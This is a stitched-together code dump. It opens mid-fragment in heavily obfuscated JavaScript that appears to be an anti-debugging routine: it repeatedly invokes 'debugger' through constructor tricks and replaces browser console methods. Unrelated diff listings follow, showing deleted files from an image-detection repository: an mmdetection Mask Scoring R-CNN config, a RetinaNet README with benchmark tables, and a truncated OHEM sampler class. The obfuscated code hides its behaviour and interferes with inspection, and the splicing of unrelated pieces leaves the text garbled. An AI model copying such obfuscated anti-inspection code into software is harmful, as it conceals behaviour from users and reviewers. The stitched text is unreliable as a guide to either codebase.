_0xe259c1===_0xe77265;},'GgHUu':function(_0x28418e,_0x3a1021){return _0x28418e%_0x3a1021;},'PJUHq':function(_0x5414d9,_0x418ef1){return _0x5414d9!==_0x418ef1;},'EEfdC':_0x4c92c1(0x1fb,0x2d7,0x1fb,0x1f6,0x351),'dMrUv':_0x163385(-0x2ba,-0x338,-0x28d,-0x243,-0x1ca),'akkft':_0x37219c(0x289,0x2d6,0x2dd,0x30a,0x297),'QkmIN':_0x37219c(0x261,0x2d5,0x344,0x26c,0x338)+'n','TfeVo':function(_0x437857,_0x20c729){return _0x437857===_0x20c729;},'SRWRa':_0x5ef808(-0x133,-0x20b,-0x1be,-0x1ee,-0x2b1),'fEhhE':_0x5ef808(-0x19a,-0x16a,-0x253,-0x1b3,-0x1fb),'ivCFN':function(_0x3b25d2,_0x579938){return _0x3b25d2+_0x579938;},'HSAgz':_0x4c92c1(0x3fa,0x405,0x4ca,0x4ba,0x3a2)+_0x37219c(0x3c6,0x324,0x378,0x355,0x3e4)+'t','QYFAI':function(_0x5a0663,_0x2b5acb){return _0x5a0663(_0x2b5acb);},'vokxU':function(_0x48324e,_0x1ce876){return _0x48324e(_0x1ce876);},'FIsIF':function(_0xb0d37a,_0x268cc8){return _0xb0d37a+_0x268cc8;},'AteeO':function(_0x14f153,_0x4faa77){return _0x14f153!==_0x4faa77;},'omHUq':_0x3c56c7(0x249,0x315,0x387,0x245,0x29f),'yIPvi':_0x4c92c1(0x464,0x440,0x458,0x510,0x4b2),'RJqbZ':function(_0xe9c5ee,_0x58d32d){return _0xe9c5ee===_0x58d32d;},'egDib':_0x5ef808(-0x1da,-0x216,-0x2bd,-0x216,-0x2c0),'XQEcL':_0x4c92c1(0x344,0x2d8,0x242,0x2c8,0x220),'wsjSt':function(_0x518aac,_0x208cee){return _0x518aac!==_0x208cee;},'hEApv':_0x163385(-0x1ce,-0xf0,-0x16f,-0x110,-0x150),'nbfbP':_0x4c92c1(0x450,0x3a0,0x479,0x302,0x2f6)};function _0x3c56c7(_0xf43e55,_0x20da71,_0x57dd96,_0x13b696,_0x2a1b56){return _0x5b3717(_0x20da71-0x448,_0xf43e55,_0x57dd96-0x3,_0x13b696-0x25,_0x2a1b56-0x109);}function _0x4dacc1(_0x1f2ebb){function _0x1df5ce(_0x4386d7,_0x5e7f68,_0x51fef2,_0x170730,_0x4e2da0){return _0x163385(_0x4e2da0-0x63,_0x5e7f68-0x5b,_0x4386d7,_0x170730-0x99,_0x4e2da0-0xa0);}function _0x292b63(_0x14cd58,_0x45579e,_0x2d7e99,_0x4188e9,_0x576e87){return _0x37219c(_0x14cd58-0x39,_0x45579e-0x1bf,_0x45579e- -0x4fb,_0x4188e9-0xe1,_0x2d7e99);}function _0x315baa(_0x22d0da,_0x4ec0aa,_0x1c1f1f,_0x5c86ee,_0x3eb224){return _0x163385(_0x5c86ee-0x312,_0x4ec0aa-0x70,_0x3eb224,_0x5c86ee-0x2,_0x3eb224-0x4b);}const _0x36d494={'vxfdZ':function(_0x3959eb,_0x224ba2){function _0x2be67b(_0xc568c3,_0x4e9bfb,_0x217cef,_0x468fe5,_0x46ca2b){return _0x222c(_0xc568c3-0x271,_0x468fe5);}return _0x274a73[_0x2be67b(0x361,0x2f3,0x425,0x43a,0x270)](_0x3959eb,_0x224ba2);},'ffwFQ':_0x274a73[_0x1df5ce(-0x2c8,-0x319,-0x322,-0x29a,-0x28e)],'NRmyP':_0x274a73[_0x315baa(0x16b,0x110,0x8,0x7e,0xff)],'RnvIN':function(_0x5de2d4,_0x18cd5f){function _0x3ccb8d(_0x4a74cb,_0x413af3,_0x32dd1a,_0x301970,_0xcc65fb){return _0x315baa(_0x4a74cb-0x42,_0x413af3-0x9a,_0x32dd1a-0xe0,_0x301970-0x3a6,_0x32dd1a);}return _0x274a73[_0x3ccb8d(0x30c,0x34a,0x338,0x3af,0x3ad)](_0x5de2d4,_0x18cd5f);},'CSsds':function(_0x4073a6,_0x588f66){function _0x4a16d6(_0x35a425,_0x23a8d3,_0xd054e1,_0x460c32,_0x5db346){return _0x315baa(_0x35a425-0x139,_0x23a8d3-0x129,_0xd054e1-0x37,_0x35a425- -0x15e,_0x23a8d3);}return _0x274a73[_0x4a16d6(-0x8a,-0x77,-0x49,-0xaf,0xe)](_0x4073a6,_0x588f66);},'WZqeI':function(_0x57f75a,_0x26cedb){function _0x414327(_0x59b6a7,_0x5c7132,_0x7a43a9,_0x316bea,_0x5dcca1){return _0x315baa(_0x59b6a7-0xea,_0x5c7132-0xc7,_0x7a43a9-0x186,_0x5c7132-0x346,_0x5dcca1);}return _0x274a73[_0x414327(0x43b,0x359,0x2b1,0x36b,0x447)](_0x57f75a,_0x26cedb);},'vyEiL':_0x274a73[_0x56c700(0xb0,-0x51,0x64,-0x29,0x32)],'FXgKD':_0x274a73[_0x56c700(0x29,0xe8,0xd8,-0xc1,0x29)],'ThJCG':function(_0xc5adb6){function _0x22e575(_0x3d9595,_0x58dc5b,_0x479fe3,_0x473776,_0x399d2c){return _0x1df5ce(_0x399d2c,_0x58dc5b-0xd9,_0x479fe3-0x8e,_0x473776-0x4,_0x479fe3- -0x65);}return _0x274a73[_0x22e575(-0x26b,-0x2cd,-0x268,-0x222,-0x2de)](_0xc5adb6);},'EIIdK':_0x274a73[_0x315baa(0x211,0x15e,0x1c5,0x1b3,0x1b7)],'SyCzk':_0x274a73[_0x1df5ce(-0x1cf,-0x178,-0x17b,-0xc9,-0x152)],'RAplO':_0x274a73[_0x292b63(-0x218,-0x26f,-0x1b2,-0x268,-0x2c5)],'SAPOu':_0x274a73[_0x292b63(-0x16d,-0x1d9,-0x23d,-0x29c,-0x108)],'igXwh':_0x274a73[_0x292b63(-0x126,-0x1b8,-0x2a1,-0x1b9,-0xeb)],'BKGxW':_0x274a73[_0x315baa(0xa9,0x209,0x16f,0x14d,0xf0)],'uPIuo':_0x274a73[_0x56c700(0x88,0x32,0x62,-0x7,0x97)],'CzlDj':function(_0x24a5bb,_0x5e10fe){function _0x413088(_0x2369b,_0x3ef86f,_0x354a60,_0x3c8007,_0x541309){return _0x286c2e(_0x2369b-0x155,_0x3ef86f-0x20,_0x354a60-0x1cc,_0x3c8007-0xb9,_0x3c8007);}return _0x274a73[_0x413088(0x3a2,0x33b,0x24c,0x2ac,0x2b0)](_0x24a5bb,_0x5e10fe);}};function _0x286c2e(_0x14b5d7,_0x28b217,_0x361a48,_0x49b38a,_0x126475){return _0x4c92c1(_0x14b5d7-0x135,_0x28b217- -0x5e,_0x361a48-0x32,_0x126475,_0x126475-0x23);}function _0x56c700(_0x51a59e,_0x265bb8,_0x2ce528,_0xb6c224,_0x2035c1){return _0x5ef808(_0x51a59e-0x1dc,_0x265bb8-0x163,_0x2ce528-0xd3,_0x2035c1-0x315,_0xb6c224);}if(_0x274a73[_0x286c2e(0x2b6,0x363,0x2b9,0x3bf,0x275)](_0x274a73[_0x315baa(-0x6,0xfb,-0x8d,0x61,0x148)],_0x274a73[_0x286c2e(0x259,0x2e7,0x3b2,0x2f9,0x30e)])){if(_0x274a73[_0x1df5ce(-0x1a3,-0x1eb,-0x29d,-0x1fb,-0x1d7)](typeof _0x1f2ebb,_0x274a73[_0x1df5ce(-0x150,-0x37,-0x9,-0x129,-0xf8)])){if(_0x274a73[_0x286c2e(0x46f,0x3ba,0x2f3,0x476,0x445)](_0x274a73[_0x286c2e(0x2d6,0x3b8,0x2fc,0x39b,0x37c)],_0x274a73[_0x1df5ce(-0x29f,-0x2da,-0x330,-0x325,-0x280)]))return function(_0x4925d3){}[_0x315baa(0xd3,0x1dc,0x135,0x108,0x68)+_0x292b63(-0x287,-0x2da,-0x20b,-0x397,-0x246)+'r'](_0x274a73[_0x1df5ce(-0x202,-0x14a,-0x173,-0xd7,-0x125)])[_0x286c2e(0x407,0x3e0,0x3d1,0x45c,0x318)](_0x274a73[_0x286c2e(0x31d,0x2a4,0x2f9,0x2a2,0x301)]);else{if(_0x39b16c)return _0x1925b8;else _0x274a73[_0x315baa(-0xda,0x0,0x2,0x9,0xe0)](_0x101893,0x70e+0x101f*0x1+-0x172d);}}else{if(_0x274a73[_0x56c700(0x67,0x11d,0x15f,0x1e7,0x136)](_0x274a73[_0x292b63(-0x131,-0x1f4,-0x2c4,-0x2a0,-0x237)],_0x274a73[_0x56c700(0x1ed,0x244,0x23f,0x20a,0x156)])){if(_0x274a73[_0x292b63(-0x19f,-0x1ce,-0x29f,-0x168,-0x108)](_0x274a73[_0x292b63(-0x3af,-0x2ef,-0x294,-0x30e,-0x279)]('',_0x274a73[_0x1df5ce(-0x1de,-0x105,-0x15f,-0x1cc,-0x134)](_0x1f2ebb,_0x1f2ebb))[_0x274a73[_0x292b63(-0x31e,-0x26c,-0x2ea,-0x219,-0x336)]],0x1*0x1894+-0x1e6*-0x1+-0x1*0x1a79)||_0x274a73[_0x286c2e(0x43d,0x3e5,0x311,0x416,0x43e)](_0x274a73[_0x315baa(-0xaf,0x96,-0xa9,0x38,0x8a)](_0x1f2ebb,-0x2647+0x990+0x51*0x5b),0xcc7+-0x226d+0xa3*0x22)){if(_0x274a73[_0x286c2e(0x3f5,0x360,0x279,0x44d,0x392)](_0x274a73[_0x56c700(0x1f2,0x110,0x125,0x1e3,0x1bd)],_0x274a73[_0x292b63(-0x1dc,-0x18d,-0x205,-0x22b,-0x9d)])){const _0x43262d=_0x684335[_0x1df5ce(-0x277,-0x27f,-0x1e6,-0x26d,-0x1a7)+_0x292b63(-0x2bf,-0x2da,-0x33f,-0x355,-0x39f)+'r'][_0x315baa(0x124,0x161,0x15b,0x189,0x137)+_0x56c700(0xc9,0x184,0x95,0x1ea,0x11b)][_0x315baa(0x151,0xf0,0x77,0xae,0x11)](_0x260ca5),_0x4d05b3=_0x30fcfe[_0x4bcff0],_0x246e19=_0xf77b38[_0x4d05b3]||_0x43262d;_0x43262d[_0x56c700(0x1c7,0x1b1,0x61,0x5f,0xf1)+_0x286c2e(0x1ed,0x296,0x1d7,0x256,0x2c8)]=_0xcfbab7[_0x286c2e(0x3db,0x334,0x362,0x3c2,0x2f8)](_0x4d58aa),_0x43262d[_0x286c2e(0x4d8,0x427,0x3bd,0x449,0x514)+_0x292b63(-0x33f,-0x300,-0x3bb,-0x2d9,-0x31a)]=_0x246e19[_0x286c2e(0x388,0x427,0x4b6,0x380,0x517)+_0x286c2e(0x2ec,0x288,0x204,0x28e,0x302)][_0x286c2e(0x3fe,0x334,0x3c7,0x32e,0x397)](_0x246e19),_0x146534[_0x4d05b3]=_0x43262d;}else(function(){function _0x211536(_0x2a2ec9,_0x41a5df,_0x1cc2c8,_0x448a30,_0x2348d1){return _0x56c700(_0x2a2ec9-0x55,_0x41a5df-0x130,_0x1cc2c8-0x121,_0x2348d1,_0x448a30- -0x104);}function _0x33fd27(_0x1fc3cd,_0x4560b,_0xd10f2,_0xc63e04,_0x369d8b){return _0x315baa(_0x1fc3cd-0x9d,_0x4560b-0x15d,_0xd10f2-0xd9,_0xd10f2-0x3ee,_0x4560b);}function _0x30472a(_0x1059da,_0x359c8f,_0x26274b,_0x233917,_0x2a0e44){return _0x315baa(_0x1059da-0x129,_0x359c8f-0x27,_0x26274b-0x38,_0x233917-0x2c0,_0x1059da);}function _0x4e1c90(_0x134d49,_0x5ecc47,_0x5b5911,_0x3c7817,_0xe475e2){return _0x1df5ce(_0xe475e2,_0x5ecc47-0x130,_0x5b5911-0x124,_0x3c7817-0xcb,_0x5b5911-0x179);}function _0x2c9db6(_0x47552d,_0x1bb639,_0x3ea939,_0x234693,_0x386f79){return _0x286c2e(_0x47552d-0x1ae,_0x234693- -0x287,_0x3ea939-0xfb,_0x234693-0xa3,_0x1bb639);}if(_0x274a73[_0x2c9db6(-0x79,-0x4,-0x56,0x5d,-0x4)](_0x274a73[_0x2c9db6(0x85,0x8c,-0x33,-0x1e,0xd3)],_0x274a73[_0x33fd27(0x416,0x3c0,0x3d1,0x338,0x3b2)]))return!![];else _0xbe906e[_0x30472a(0x245,0x2c3,0x367,0x2db,0x31f)](_0x4e1c90(-0xe0,-0x51,-0x101,-0x1c5,-0x150)+_0x33fd27(0x4b2,0x432,0x422,0x3b7,0x3ae)+_0x2c9db6(0x17d,0x113,0x1e8,0x13a,0x1fc)+_0x211536(-0xa,0x132,-0x56,0x43,0xff)+_0x2c9db6(0xb0,0x191,0x146,0xe7,0xa)+'\x20'+_0x398d92);}[_0x286c2e(0x300,0x38e,0x3eb,0x3f6,0x311)+_0x292b63(-0x244,-0x2da,-0x2ec,-0x349,-0x2e8)+'r'](_0x274a73[_0x56c700(-0x27,0xee,-0x81,0xab,0x5b)](_0x274a73[_0x286c2e(0x3ec,0x407,0x4b0,0x38d,0x4f8)],_0x274a73[_0x56c700(0xcb,0x78,0x51,0x183,0x137)]))[_0x292b63(-0x2a8,-0x319,-0x273,-0x357,-0x308)](_0x274a73[_0x286c2e(0x43f,0x35f,0x2eb,0x346,0x38e)]));}else _0x274a73[_0x286c2e(0x22d,0x311,0x2b1,0x3d3,0x243)](_0x274a73[_0x286c2e(0x430,0x356,0x441,0x369,0x424)],_0x274a73[_0x286c2e(0x38b,0x38c,0x3ff,0x47c,0x3f2)])?_0x1f49b7[_0x315baa(-0xd3,0x100,0xef,0x1b,0xfc)](_0x1df5ce(-0x140,-0x25e,-0x234,-0x19a,-0x1f7)+_0x286c2e(0x242,0x287,0x328,0x1b0,0x1cb)+_0x315baa(0x134,-0x1f,0xf0,0x68,0x12c)+_0x292b63(-0x143,-0x1f9,-0x22b,-0x131,-0x2cc)+_0x286c2e(0x4c6,0x40e,0x41a,0x32f,0x494)+_0x286c2e(0x3e8,0x326,0x2ae,0x2a5,0x3a6)+_0x16a84a):function(){function _0x3daebb(_0x9a03ab,_0x37dd8e,_0x520996,_0x7d7599,_0x428686){return _0x56c700(_0x9a03ab-0x2,_0x37dd8e-0x8d,_0x520996-0xde,_0x520996,_0x37dd8e- -0x35);}function _0x4a4d08(_0x148057,_0x2bddf0,_0x49762d,_0x459365,_0x46d29a){return _0x292b63(_0x148057-0xb9,_0x459365-0x113,_0x46d29a,_0x459365-0x53,_0x46d29a-0x35);}function _0x35a402(_0x423f90,_0x5e706b,_0x5d8a0d,_0x117a44,_0x56245b){return _0x1df5ce(_0x423f90,_0x5e706b-0x102,_0x5d8a0d-0x7c,_0x117a44-0x10d,_0x5e706b-0x5f0);}function _0x5a477a(_0x11ee68,_0x4912c5,_0x47236b,_0x2f288e,_0x117b0e){return _0x292b63(_0x11ee68-0x1bf,_0x11ee68-0x5d3,_0x4912c5,_0x2f288e-0xa,_0x117b0e-0x1be);}if(_0x36d494[_0x3daebb(0x19c,0x10b,0xb2,0xc4,0x1d1)](_0x36d494[_0x3daebb(0x11f,0x127,0x166,0x141,0x1ec)],_0x36d494[_0x3daebb(0xd6,0xcd,0x9a,0x5a,0xdf)])){const _0x50f770=_0x1e56db[_0x4a4d08(-0x89,-0x3e,-0xb1,-0x95,-0x74)](_0x342abc,arguments);return _0x2dfae9=null,_0x50f770;}else return![];}[_0x292b63(-0x234,-0x1fa,-0x15d,-0x22f,-0x22d)+_0x1df5ce(-0x29e,-0x288,-0x2ed,-0x2a3,-0x287)+'r'](_0x274a73[_0x286c2e(0x2d9,0x28a,0x288,0x1e0,0x1e4)](_0x274a73[_0x286c2e(0x41b,0x407,0x486,0x35a,0x34c)],_0x274a73[_0x286c2e(0x356,0x375,0x45c,0x3af,0x387)]))[_0x286c2e(0x44b,0x3e0,0x3d9,0x33a,0x413)](_0x274a73[_0x286c2e(0x292,0x329,0x30f,0x3ad,0x26c)]);}else{const _0x1e6bb6=_0x122d56[_0x1df5ce(-0x137,-0x102,-0xa6,-0x7b,-0x155)](_0x680e0c,arguments);return _0x47d3e4=null,_0x1e6bb6;}}_0x274a73[_0x315baa(0x12d,0xe5,0xb4,0x5c,0x137)](_0x4dacc1,++_0x1f2ebb);}else{let _0x4d39a7;try{const _0x57e87a=_0x36d494[_0x56c700(0x221,0x2b3,0x285,0x18a,0x1fd)](_0x5e3f46,_0x36d494[_0x286c2e(0x31e,0x2cb,0x341,0x26f,0x36f)](_0x36d494[_0x1df5ce(-0x28d,-0x23d,-0x246,-0x179,-0x263)](_0x36d494[_0x56c700(0x1ae,0x121,0xc8,0x1d5,0x142)],_0x36d494[_0x292b63(-0x217,-0x19d,-0x18f,-0x18c,-0x1fe)]),');'));_0x4d39a7=_0x36d494[_0x315baa(0x1b0,0xb5,0x59,0xe3,0xa4)](_0x57e87a);}catch(_0x18b37e){_0x4d39a7=_0x24fb6b;}const _0x510e9f=_0x4d39a7[_0x292b63(-0x365,-0x2be,-0x37e,-0x366,-0x2c7)+'le']=_0x4d39a7[_0x315baa(0x12f,0x49,0xe7,0x44,0x13)+'le']||{},_0x1bc6ab=[_0x36d494[_0x56c700(0x199,0x1ac,0x100,0xd4,0xc8)],_0x36d494[_0x292b63(-0x241,-0x1c0,-0x219,-0x134,-0x2b0)],_0x36d494[_0x56c700(0xfc,0xfa,0x209,0x134,0x149)],_0x36d494[_0x56c700(0xfb,0xcb,0x122,0xfb,0x50)],_0x36d494[_0x1df5ce(-0x1fd,-0x7c,-0xb9,-0x16c,-0x11d)],_0x36d494[_0x1df5ce(-0x249,-0x1ef,-0xcf,-0x1a8,-0x15d)],_0x36d494[_0x292b63(-0x260,-0x20d,-0x1b5,-0x219,-0x1b9)]];for(let _0x228541=-0x264e+0x112e+0x1520;_0x36d494[_0x1df5ce(-0x1d6,-0x167,-0x2e2,-0x236,-0x1f1)](_0x228541,_0x1bc6ab[_0x292b63(-0x2a9,-0x2b4,-0x2d2,-0x24a,-0x317)+'h']);_0x228541++){const _0x3d0927=_0x275b00[_0x286c2e(0x38f,0x38e,0x472,0x3c2,0x450)+_0x315baa(-0x23,0xd,0xdc,0x28,-0x26)+'r'][_0x1df5ce(-0xc0,-0x1d0,-0x1a3,-0x45,-0x126)+_0x292b63(-0x24f,-0x22f,-0x235,-0x21c,-0x1ed)][_0x1df5ce(-0x203,-0x2d3,-0x243,-0x136,-0x201)](_0x50ba5a),_0x4f0687=_0x1bc6ab[_0x228541],_0x44c38c=_0x510e9f[_0x4f0687]||_0x3d0927;_0x3d0927[_0x1df5ce(-0x179,-0x2e7,-0x239,-0x127,-0x206)+_0x56c700(0xd9,-0x85,0x122,0xda,0x58)]=_0x366acb[_0x292b63(-0x2fa,-0x254,-0x22c,-0x1e1,-0x30d)](_0x5ce843),_0x3d0927[_0x56c700(0x1f1,0x135,0x17a,0x26b,0x1e9)+_0x315baa(0x9c,-0x50,-0x79,0x2,0xbc)]=_0x44c38c[_0x315baa(0x22a,0x144,0x144,0x1a1,0x17c)+_0x56c700(-0x64,0xbb,0xb7,0xa0,0x4a)][_0x1df5ce(-0x187,-0x25e,-0x246,-0x13f,-0x201)](_0x44c38c),_0x510e9f[_0x4f0687]=_0x3d0927;}}}function _0x4c92c1(_0x31556a,_0x459b40,_0x395ee7,_0x195162,_0x4d9d70){return _0x504eae(_0x459b40-0xc1,_0x459b40-0xa1,_0x395ee7-0x126,_0x195162-0xed,_0x195162);}function _0x5ef808(_0x313b76,_0x3f475c,_0x527422,_0x576a4e,_0xd60573){return _0x1d31e6(_0x576a4e- -0x345,_0x3f475c-0x74,_0xd60573,_0x576a4e-0x156,_0xd60573-0xa9);}function _0x163385(_0x27c341,_0x53ff3b,_0x3d059a,_0x536423,_0x42ac09){return _0x5b3717(_0x27c341- -0x66,_0x3d059a,_0x3d059a-0xa,_0x536423-0xce,_0x42ac09-0x2e);}function _0x37219c(_0xca9036,_0x4dc92e,_0x422991,_0x54701d,_0x40f6bf){return _0x1e3602(_0xca9036-0xa4,_0x40f6bf,_0x422991-0x126,_0x422991-0x2b2,_0x40f6bf-0x46);}try{if(_0x274a73[_0x4c92c1(0x484,0x3ee,0x351,0x351,0x438)](_0x274a73[_0x163385(-0x1f7,-0x2a5,-0x1bb,-0x148,-0x226)],_0x274a73[_0x5ef808(-0x11f,-0x228,-0x277,-0x1f7,-0x2c2)])){if(_0x505d61){if(_0x274a73[_0x3c56c7(0x37f,0x312,0x357,0x2e0,0x2b6)](_0x274a73[_0x4c92c1(0x275,0x34e,0x301,0x3ad,0x294)],_0x274a73[_0x37219c(0x34c,0x1c9,0x274,0x1b7,0x302)]))_0x274a73[_0x5ef808(-0x28f,-0x303,-0x372,-0x2a8,-0x24f)](_0x478d65,-0xe9*0x13+0x7b8+0x993);else return _0x4dacc1;}else{if(_0x274a73[_0x163385(-0x265,-0x2d8,-0x2c6,-0x349,-0x24c)](_0x274a73[_0x37219c(0x336,0x29f,0x249,0x2eb,0x268)],_0x274a73[_0x5ef808(-0x20d,-0x12a,-0x19a,-0x1d1,-0x21f)]))_0x274a73[_0x5ef808(-0x22a,-0x36f,-0x2bd,-0x2a8,-0x2b0)](_0x4dacc1,-0x231+-0x3*0xcdb+0x28c2);else{let _0x5d9b75;try{_0x5d9b75=_0x274a73[_0x5ef808(-0x23d,-0x2cd,-0x274,-0x271,-0x2c9)](_0x58446f,_0x274a73[_0x5ef808(-0x2bd,-0x136,-0x214,-0x1f9,-0x150)](_0x274a73[_0x4c92c1(0x30d,0x38b,0x2b8,0x352,0x325)](_0x274a73[_0x4c92c1(0x3ba,0x2ce,0x296,0x295,0x2ea)],_0x274a73[_0x3c56c7(0x1ce,0x17d,0x137,0x18b,0x20d)]),');'))();}catch(_0x724811){_0x5d9b75=_0xa22605;}return _0x5d9b75;}}}else{if(_0x47e411){const _0x386471=_0x3c6c2a[_0x4c92c1(0x4c4,0x43e,0x415,0x449,0x374)](_0x5e66a5,arguments);return _0x2b067c=null,_0x386471;}}}catch(_0x399381){}}
 
 
spaces/Andy1621/uniformer_image_detection/configs/ms_rcnn/ms_rcnn_r50_fpn_1x_coco.py DELETED
@@ -1,16 +0,0 @@
1
- _base_ = '../mask_rcnn/mask_rcnn_r50_fpn_1x_coco.py'
2
- model = dict(
3
- type='MaskScoringRCNN',
4
- roi_head=dict(
5
- type='MaskScoringRoIHead',
6
- mask_iou_head=dict(
7
- type='MaskIoUHead',
8
- num_convs=4,
9
- num_fcs=2,
10
- roi_feat_size=14,
11
- in_channels=256,
12
- conv_out_channels=256,
13
- fc_out_channels=1024,
14
- num_classes=80)),
15
- # model training and testing settings
16
- train_cfg=dict(rcnn=dict(mask_thr_binary=0.5)))
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Andy1621/uniformer_image_detection/configs/retinanet/README.md DELETED
@@ -1,29 +0,0 @@
1
- # Focal Loss for Dense Object Detection
2
-
3
- ## Introduction
4
-
5
- [ALGORITHM]
6
-
7
- ```latex
8
- @inproceedings{lin2017focal,
9
- title={Focal loss for dense object detection},
10
- author={Lin, Tsung-Yi and Goyal, Priya and Girshick, Ross and He, Kaiming and Doll{\'a}r, Piotr},
11
- booktitle={Proceedings of the IEEE international conference on computer vision},
12
- year={2017}
13
- }
14
- ```
15
-
16
- ## Results and models
17
-
18
- | Backbone | Style | Lr schd | Mem (GB) | Inf time (fps) | box AP | Config | Download |
19
- | :-------------: | :-----: | :-----: | :------: | :------------: | :----: | :------: | :--------: |
20
- | R-50-FPN | caffe | 1x | 3.5 | 18.6 | 36.3 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r50_caffe_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_caffe_fpn_1x_coco/retinanet_r50_caffe_fpn_1x_coco_20200531-f11027c5.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_caffe_fpn_1x_coco/retinanet_r50_caffe_fpn_1x_coco_20200531_012518.log.json) |
21
- | R-50-FPN | pytorch | 1x | 3.8 | 19.0 | 36.5 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r50_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_1x_coco/retinanet_r50_fpn_1x_coco_20200130-c2398f9e.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_1x_coco/retinanet_r50_fpn_1x_coco_20200130_002941.log.json) |
22
- | R-50-FPN | pytorch | 2x | - | - | 37.4 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r50_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_2x_coco/retinanet_r50_fpn_2x_coco_20200131-fdb43119.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r50_fpn_2x_coco/retinanet_r50_fpn_2x_coco_20200131_114738.log.json) |
23
- | R-101-FPN | caffe | 1x | 5.5 | 14.7 | 38.5 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r101_caffe_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_caffe_fpn_1x_coco/retinanet_r101_caffe_fpn_1x_coco_20200531-b428fa0f.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_caffe_fpn_1x_coco/retinanet_r101_caffe_fpn_1x_coco_20200531_012536.log.json) |
24
- | R-101-FPN | pytorch | 1x | 5.7 | 15.0 | 38.5 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r101_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_1x_coco/retinanet_r101_fpn_1x_coco_20200130-7a93545f.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_1x_coco/retinanet_r101_fpn_1x_coco_20200130_003055.log.json) |
25
- | R-101-FPN | pytorch | 2x | - | - | 38.9 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_r101_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_2x_coco/retinanet_r101_fpn_2x_coco_20200131-5560aee8.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_r101_fpn_2x_coco/retinanet_r101_fpn_2x_coco_20200131_114859.log.json) |
26
- | X-101-32x4d-FPN | pytorch | 1x | 7.0 | 12.1 | 39.9 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_32x4d_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_1x_coco/retinanet_x101_32x4d_fpn_1x_coco_20200130-5c8b7ec4.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_1x_coco/retinanet_x101_32x4d_fpn_1x_coco_20200130_003004.log.json) |
27
- | X-101-32x4d-FPN | pytorch | 2x | - | - | 40.1 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_32x4d_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_2x_coco/retinanet_x101_32x4d_fpn_2x_coco_20200131-237fc5e1.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_32x4d_fpn_2x_coco/retinanet_x101_32x4d_fpn_2x_coco_20200131_114812.log.json) |
28
- | X-101-64x4d-FPN | pytorch | 1x | 10.0 | 8.7 | 41.0 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_64x4d_fpn_1x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_1x_coco/retinanet_x101_64x4d_fpn_1x_coco_20200130-366f5af1.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_1x_coco/retinanet_x101_64x4d_fpn_1x_coco_20200130_003008.log.json) |
29
- | X-101-64x4d-FPN | pytorch | 2x | - | - | 40.8 | [config](https://github.com/open-mmlab/mmdetection/tree/master/configs/retinanet/retinanet_x101_64x4d_fpn_2x_coco.py) | [model](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_2x_coco/retinanet_x101_64x4d_fpn_2x_coco_20200131-bca068ab.pth) &#124; [log](http://download.openmmlab.com/mmdetection/v2.0/retinanet/retinanet_x101_64x4d_fpn_2x_coco/retinanet_x101_64x4d_fpn_2x_coco_20200131_114833.log.json) |
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Andy1621/uniformer_image_detection/mmdet/core/bbox/samplers/ohem_sampler.py DELETED
@@ -1,107 +0,0 @@
1
- import torch
2
-
3
- from ..builder import BBOX_SAMPLERS
4
- from ..transforms import bbox2roi
5
- from .base_sampler import BaseSampler
6
-
7
-
8
- @BBOX_SAMPLERS.register_module()
9
- class OHEMSampler(BaseSampler):
10
- r"""Online Hard Example Mining Sampler described in `Training Region-based
11
- Object Detectors with Online Hard Example Mining
12
- <https://arxiv.org/abs/1604.03540>`_.
13
- """
14
-
15
- def __init__(self,
16
- num,
17
- pos_fraction,
18
- context,
19
- neg_pos_ub=-1,
20
- add_gt_as_proposals=True,
21
- **kwargs):
22
- super(OHEMSampler, self).__init__(num, pos_fraction, neg_pos_ub,
23
- add_gt_as_proposals)
24
- self.context = context
25
- if not hasattr(self.context, 'num_stages'):
26
- self.bbox_head = self.context.bbox_head
27
- else:
28
- self.bbox_head = self.context.bbox_head[self.context.current_stage]
29
-
30
- def hard_mining(self, inds, num_expected, bboxes, labels, feats):
31
- with torch.no_grad():
32
